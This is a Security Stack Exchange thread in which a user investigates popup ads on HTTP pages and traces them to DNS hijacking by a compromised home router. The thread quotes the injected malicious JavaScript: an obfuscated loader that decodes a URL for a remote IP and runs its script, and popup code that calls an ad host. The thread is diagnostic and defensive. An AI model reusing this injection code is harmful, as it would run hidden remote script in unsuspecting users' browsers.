19

I have, recently, discovered a rather annoying problem: every first-click I have on any Stack Exchange site creates an advertisement popup. This happens on my desktop, laptop, phone and even a VM. I concluded this is Stack Exchange's new ad feature and complained on meta.stackexchange......until I found out I was the only person affected by this.

Unwilling to believe that I have been so careless to allow a virus onto my computer (and for the ego of claiming to be a "security expert" at my company), I went on to investigate the root cause. I observed:

  1. This only affects Stack Exchange sites.
  2. This is reproducible on 4 devices: desktop, laptop, phone and VM.
  3. The problem does not happen if I browse https.

These led me to think this is a network problem: someone injected malicious JavaScript somewhere into the HTML document while it is being transported as clear text on HTTP. After around 30 minutes of network traffic capturing and analysis, I found that this portion of code at the bottom of any Stack Exchange page:

        (function () {
        var ssl='https:'==document.location.protocol,
            s=document.getElementsByTagName('script')[0],
            qc=document.createElement('script');
            qc.async = true;
            qc.src = (ssl ? 'https://secure' : 'http://edge') + '.quantserve.com/quant.js';
            s.parentNode.insertBefore(qc, s);
            _qevents.push({ qacct: "p-c1rF4kxgLUzNc" });
                        var sc=document.createElement('script');
            sc.async=true;
            sc.src=(ssl?'https://sb':'http://b') + '.scorecardresearch.com/beacon.js';
            s.parentNode.insertBefore(sc, s);
            _comscore.push({ c1: "2", c2: "17440561" });
    })();

initiates the loading of malicious JavaScript onto my browser.

If beacon.js is loaded via HTTPS, it is a fine one-line minified JavaScript. But if it is loaded via HTTP, a second line is added:

!function(){var e=function(){if(document&&document.body&&document.body.appendChild){var e="getElementById";if("undefined"==typeof window[e]&&-1==document.cookie.indexOf(e)){var n=new Date;n.setTime(n.getTime()),document.cookie=e+"=1; expires="+new Date(n.getTime()+864e5).toGMTString()+"; path=/;";var t=document.createElement("script");t.src=decodeURIComponent("%68%74%74%70%3a%2f%2f%31%30%33%2e%31%36%2e%32%33%30%2e%31%36%35%2f%73%74%61%74%73%2f%58%43%51%36%37"),document.body.appendChild(t);window[e]=1;}}};document.addEventListener&&document.addEventListener("DOMContentLoaded",e),e()}();

Which is an obfuscated way of loading http://103.16.230.165/stats/XCQ67, which contains:

function PopShow3(){if(!check){check=!0;var e=navigator.cookieEnabled,o="http://onclickads.net/afu.php?zoneid=658311";if(e&&(clickUnderCookie=GetCookie("clickunder"),null===clickUnderCookie||clickUnderCookiec;){var t=c+n;if(document.cookie.substring(c,t)==o)return getCookieVal(t);if(c=document.cookie.indexOf(" ",c)+1,0==c)break}return null}function SetCookie(e,o){var n=SetCookie.arguments,i=SetCookie.arguments.length,c=i>2?n[2]:null,t=i>3?n[3]:null,r=i>4?n[4]:null,u=i>5?n[5]:!1;document.cookie=e+"="+escape(o)+(null==c?"":"; expires="+c.toGMTString())+(null==t?"":"; path="+t)+(null==r?"":"; domain="+r)+(1==u?"; secure":"")}function getCookieVal(e){var o=document.cookie.indexOf(";",e);return-1==o&&(o=document.cookie.length),unescape(document.cookie.substring(e,o))}count=parseInt(3),check=!1;document.onmouseup=PopShow3;

Now, no wonder I was seeing ads.


Question is the implication of this finding. I see a few possibilities here:

  1. Somebody near my network is sniffing HTTP packets and injecting malicious content into them. I should switch everything to HTTPS whenever possible (I never enter credentials or credit card numbers on HTTP, but I should take this a step further)
  2. My ASUS router has been infected. (A sensible virus author would infect all pages I visit, not just a particular site)
  3. There is an infected device on my intranet. (I shut off everything and tested one device at a time, it still happens, so the only possibility is the router.)
  4. scorecardresearch.com uses geo-cast to speed up their network. One of their host servers is infected. (which would explain why not everybody sees it)
  5. scorecardresearch.com is malicious. Somehow Stack Exchange's servers (or network) are infected; Stack Exchange never meant to include scorecardresearch.com in their scripts.

For the moment I have blocked scorecardresearch.com.

My best guess (4): one of scorecardresearch.com's servers is infected. However the consequences of (1) is severe. It would also explain why not everybody is affected. How can I further distinguish (1) and (4)?

Are there anything I have missed, or should have done to protect myself?

  • 3
    Another version: malicious ads (malvertisement) delivered by targeted advertisement. For this nobody gets hacked but this is possible due to the affiliate model of today's targeted ads, i.e. the ad networks no longer have control of what gets delivered. – Steffen Ullrich Jun 11 '16 at 15:14
  • 3
    Sounds like some server in the route to scorecardresearch.com/beacon.js something is injecting more ad code. Could be your router, ISP, or the server itself. Running traceroute b.scorecardresearch.com might reveal something interesting. – Alexander O'Mara Jun 11 '16 at 18:55
  • @AlexanderO'Mara thx for the tip - I got it, eventually. – kevin Jun 11 '16 at 20:43
  • Thank you so much for posting this! I really will pay attention to the httpS from now on. – RaisingAgent Feb 6 '17 at 8:21
20

Thanks Alexandar O'Mara for pointing me in the right direction - it was a small tip, but it got me there.

I ran nslookup with the domains and got:

C:\Users\xxx>nslookup scorecardresearch.com
Server:  router.asus.com
Address:  192.168.56.1

Name:    scorecardresearch.com
Address:  103.16.230.165

C:\Users\xxx>nslookup sb.scorecardresearch.com
Server:  router.asus.com
Address:  192.168.56.1

Non-authoritative answer:
Name:    e2799.e7.akamaiedge.net
Address:  23.198.112.87
Aliases:  sb.scorecardresearch.com
          sb.scorecardresearch.com.edgekey.net

Note the returned address is exactly the same as the address hosting malicious content. DNS poisoning.

How can that be? Someone must be having fun advertising their fake DNS servers on the network nearby. Nope, I re-checked my router settings and got:

enter image description here

I had noted that "VPN server" and "access admin from WAN" features were both enabled on the router, just hours earlier when I wrote the question. I disabled them without raising suspicion, thinking I must have enabled it some time and forgot about it. Now I know why.

Case is closed (=

Lessons learned:

  1. Never enable the router's admin panel to access from the internet. There're bots out there that will scan the network and brute force their way in even if you have a strong password.
  2. DNS poisoning can be used to inject malicious content into HTTP stream without the user knowing. (I was lucky this is an ad, which is observable and obvious, not a Trojan or some other harmful content)
  3. SSL is a good way to guard against DNS poisoning.
  • I recommend USENIX Enigma 2016 - NSA TAO Chief on Disrupting Nation State Hackers. Jump to about 7:30 and give it a few minutes of your time if you don't have the time to watch it all (35 minutes). – a CVn Jun 11 '16 at 20:50
  • 4
    I would be most suspect of an open vulnerability and/or a local CSRF attack than a brute force login against a strong password. You might want to do some research on your router, these vulnerabilities are all too common. – Alexander O'Mara Jun 11 '16 at 21:08
  • DNS poisoning is actually a more clever protocol attack that makes the malicious translations appear to come or actually come from a legitmate DNS server. Making you openly use a malicious DNS server is AFAICT named after an early and very major example en.wikipedia.org/wiki/DNSChanger . And blog.trendmicro.com/trendlabs-security-intelligence/… says doing this to home routers is a recent development, so at least you can say you were attacked by competent up-to-date criminals. – dave_thompson_085 Jun 12 '16 at 22:29
  • I suggest replacing the Asus router with either an OpenWRT/PFSense router or a custom Linux/BSD box. I bet there was a vulnerability in its crap web interface that allowed someone to change its settings and this is why you got owned (you've been quite lucky to only get ads, to be honest if I was the attacker I would've installed malicious firmware on that router to gain persistent access and do more damage). – André Borie Jun 13 '16 at 6:50
  • I've upgraded the router's firmware, which, according to ASUS, patches several security vulnerabilities, including one CSRF vulnerability. I have no plans to switch router yet; after all ASUS's is user friendly and stable and I like it, and OpenWRT isn't exactly my cup of tea. I'll keep an eye open though. – kevin Jun 13 '16 at 8:35

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.